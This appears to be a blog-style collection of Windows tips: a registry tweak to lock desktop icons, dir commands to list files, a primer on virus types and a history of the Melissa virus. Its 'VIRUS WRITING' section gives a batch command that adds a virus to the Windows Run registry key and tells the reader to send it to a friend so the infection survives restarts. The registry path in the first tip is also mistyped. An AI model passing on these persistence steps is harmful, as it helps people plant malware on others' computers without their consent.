Lock Desktop Icons

In this tutorial we’ll see how we can lock our desktop icons so that no one can make any changes to the icons that we have arranged in the desktop. Generally it happens when someone comes to our system and mess up the arrangement.

So for that open Registry and go to the following path

 

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer.

Right-click in the right pane and select New, DWORD Value name NoSaveSettings and press the Enter key. Right-click on the new NoSaveSettings item and select Modify. Enter 1 in the Value data box. After this, whenever you restart Windows, your settings will return to their current state.

Search Quickly into your System 

In our computer it takes lots of time to search a file or folder, and for that also we have to dig out many folders. So in this tutorial I am going to post this article by which we can save our time while searching for a particular file or folder.  This trick will save the all sub directory and file names in text file without browsing the drive or folder.

 

At first open command Prompt and then browse the folder you want to analyze the sub directories and files by using cd commands.

For Example: If you want navigate to E:\hack

then in command prompt type e: and then cd hack

1. Now if you want to scan all the sub directories and files which are present inside these sub directories then type the following command

dir *.* /s /b > list.txt

 2. If you want to see only pdf files then use this command

dir *.pdf /s /b > list.txt

 3. In a similiar way, if you want to search only microsoft word files then use this command

dir *.doc /s /b > list.txt

4. Likewise if you want search a file with particular name say address.doc

dir address.* /s /b > list.txt

or

dir address.doc /s /b > list.txt

VIRUS WRITING

Execute virus on Start up

You must be familiar with viruses and probably you must be knowing how we can create them. Once the virus get executed it will show its impact but it will last till the system is turn on, If you will turn off the system all the process of the virus will also get killed.

So our requirement is to run our virus again even if the system get rebooted. So for that we will have to send our virus on start up. But we don’t want to send it manually instead of that we would like to send it with the help of batch file.

So let us take we are having a virus demo.exe.

Follow the following steps for sending it on Start up.

1. Open a Notepad file

2. Write down the following command

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v demo /t REG_SZ /d demo.exe

3. Now save the notepad file with any name say kyrion but extension should be bat. Means we will have to create a batch file eg: kyrion.bat

4. Now send kyrion.bat along with demo.exe virus to your friend. Whenever he will click on kyrion.bat file automatically demo.exe will reach at the start up.

5. Now the impact of the virus will also be visible after the restart of the system.

EVERY ONE HAVE TO KNOW BASICS OF COMPUTER VIRUSES

What is a Computer Virus?

• A computer virus is a computer program that can copy itself and infect a computer without the permission or knowledge of the owner.
• One of the first detected virus was the Creeper virus in the early 70’s
• Before computer networks became widespread, most viruses spread on removable media, particularly floppy disk.

Basic Computer Viruses

 Trojan Horses

• Appears as interesting program file but when installed it allows intruders to access and read your files

Worms

• Virus that copies and multiplies itself by using computer networks and security             flaws

E-mail Viruses

• Use e-mail messages to spread which allow it to automatically forward itself to thousands of people

  Types of Viruses

 

Boot Sector Virus

• Infects the boot or MBR of diskettes and hard drives through the sharing of infected disks and pirated software applications
• Once your hard drive is infected all diskettes that you use in your computer will be infected

Program Virus

• Becomes active when the program file (usually with extensions .BIN, .COM, .EXE, .OVL, .DRV) carrying the virus is opened
• It then makes copies of itself and will infect other programs on the computer

Multipartite Virus

• Hybrid of a Boot Sector and Program viruses
• It infects program files and when the infected program is active it will affect the boot record

Stealth Virus

• Disguises itself to prevent from being detected by antivirus software
• It alters its file size or conceals itself in memory

Polymorphic Virus

• Act like a chameleon, changing its virus signature (binary pattern) every time it multiples and infects a new file

Macro Virus

• Programmed as a macro embedded in a document, usually found in Microsoft Word and Excel
• Once it gets in to your computer, every document you produce will become infected
• Relatively new type of virus and may slip by your antivirus software if you don't have the most recent version installed

Signs Your Computer is Infected

 Melissa

Another virus that fired up the media was Melissa, a Word macro virus.

When people received the host Word document via email and opened it, the virus sent a copy of itself to the first 50 people in the victim's address book.

Named after a topless dancer in Florida, the Melissa virus crashed the email servers of corporations and governments in different spots around the world.

The Computer Emergency Response Team, set up after Robert Morris mucked up the Internet with his worm in 1988, estimated that the virus hit 100,000 computers in its first weekend.

David L. Smith posted the infected file to an alt.sex usenet group using a stolen AOL account. Initially he entered a plea of innocence, but after being confronted with a maximum sentence of 40 years in prison, he eventually pled guilty and received a much-reduced sentence.
